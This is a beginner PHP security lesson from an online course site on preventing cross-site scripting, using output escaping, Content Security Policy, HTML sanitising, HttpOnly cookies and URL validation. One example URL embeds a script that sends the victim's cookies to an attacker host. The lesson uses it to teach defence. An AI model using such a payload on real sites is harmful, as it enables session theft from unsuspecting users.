Cross-Site Scripting (XSS) Prevention
Escape output with htmlspecialchars and implement a Content Security Policy.
Cross-Site Scripting (XSS) Prevention is a free PHP Academy lesson on CoddyKit — lesson 1 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the PHP Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What is XSS?
Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into web pages viewed by other users. The script runs in the victim's browser with access to their session, cookies, and DOM.
Reflected XSS
The malicious payload is in the URL or form parameter, reflected by the server in the response.
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>Stored XSS
The payload is saved in the database (comment, profile field) and displayed to all visitors who view that page.
DOM-Based XSS
The vulnerability is entirely in client-side JavaScript that inserts untrusted data into the DOM unsafely using innerHTML or document.write.
htmlspecialchars()
Escape output to convert HTML special characters into harmless entities. Always escape before rendering user-supplied data.
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesBlade Auto-Escaping
Laravel Blade's {{ }} syntax automatically calls htmlspecialchars. Only use {!! !!} for trusted, sanitised HTML.
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>Content Security Policy (CSP)
A CSP HTTP header instructs browsers to only execute scripts from trusted sources, blocking injected inline scripts even if they reach the page.
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);Sanitising HTML Input
If you must allow rich HTML input (e.g. a WYSIWYG editor), sanitise it with a whitelist library like HTML Purifier or the mews/purifier Laravel package.
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);X-XSS-Protection Header
Add the X-XSS-Protection: 1; mode=block header (legacy browser support). Modern browsers rely on CSP instead.
HTTP-Only Cookies
Setting the HttpOnly flag on session cookies prevents JavaScript from reading them — mitigating XSS-based session theft even if a script is injected.
Validating URLs
Never insert user-supplied URLs into href or src without validation. A javascript: URI can execute XSS.
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}Summary
Always escape output with htmlspecialchars (or Blade's {{ }}). Add a Content Security Policy. Sanitise HTML input with a whitelist library. Use HttpOnly cookies.
Quick Check
Which PHP function converts special HTML characters to entities?
Frequently asked questions
Is the “Cross-Site Scripting (XSS) Prevention” lesson free?
Yes — the full text of “Cross-Site Scripting (XSS) Prevention” is free to read here on the web, and the PHP Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the PHP Academy course, upgrade to CoddyKit PRO.
What will I learn in “Cross-Site Scripting (XSS) Prevention”?
Escape output with htmlspecialchars and implement a Content Security Policy. You practise PHP Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start PHP Academy?
No prior experience is required. PHP Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 1 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Cross-Site Scripting (XSS) Prevention” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this PHP Academy lesson?
Yes. Every PHP Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Cross-Site Scripting (XSS) Prevention
- SQL Injection and Parameterized Queries
- CSRF Protection
- Secure Password Storage